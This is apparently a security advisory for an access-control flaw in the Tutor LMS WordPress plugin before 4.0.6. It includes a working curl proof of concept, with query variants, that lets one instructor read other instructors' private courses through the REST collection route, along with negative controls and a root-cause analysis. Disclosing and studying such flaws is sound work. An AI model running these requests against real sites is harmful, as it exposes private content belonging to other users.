Tutor LMS < 4.0.6 – Instructor+ Cross-Instructor Private Course Disclosure via IDOR | CVE 2026-14187

Description

The plugin does not enforce per-object ownership checks on its course content type, allowing any user with the instructor role to read the content of private courses belonging to other instructors.

Proof of Concept

Prerequisites: two users with the Tutor Instructor role (attacker, victim); the victim owns a private course. The attacker authenticates to the core REST API with an Application Password (Users > Profile > Application Passwords).

READ other instructors' private courses through the collection route, without knowing any course ID:

curl -s -u 'attacker:APP_PASSWORD' "https://victim.example/wp-json/wp/v2/courses?status=private"
-> HTTP 200, other instructors' private courses returned with author, title and rendered content.

The same content comes back from "?status=any" and from "?status=private&search=<TERM>", and a known identifier can be targeted directly with "?include=<VICTIM_PRIVATE_COURSE_ID>&status=private".

Negative controls: unauthenticated and subscriber-role requests -> 400 rest_invalid_param ("Status is forbidden"); the same request with context=edit -> HTTP 200 with an empty array; single-object read of another instructor's private or draft course -> 403; modification or deletion of another instructor's course -> 403; Tutor's own /tutor/v1/ cross-instructor routes -> 403. The attacker's own draft and private courses stay readable and modifiable through the same route and credential, so the 403s above are the access control rather than a rejected credential.

The issue persists because the instructor role holds the role-wide read_private_tutor_courses primitive, so core's read check on a private course resolves in the attacker's favour, and the plugin's rest_request_before_callbacks gate returns early when the request carries no object id, so it never runs on the collection route and core's role-wide capability check is the only control.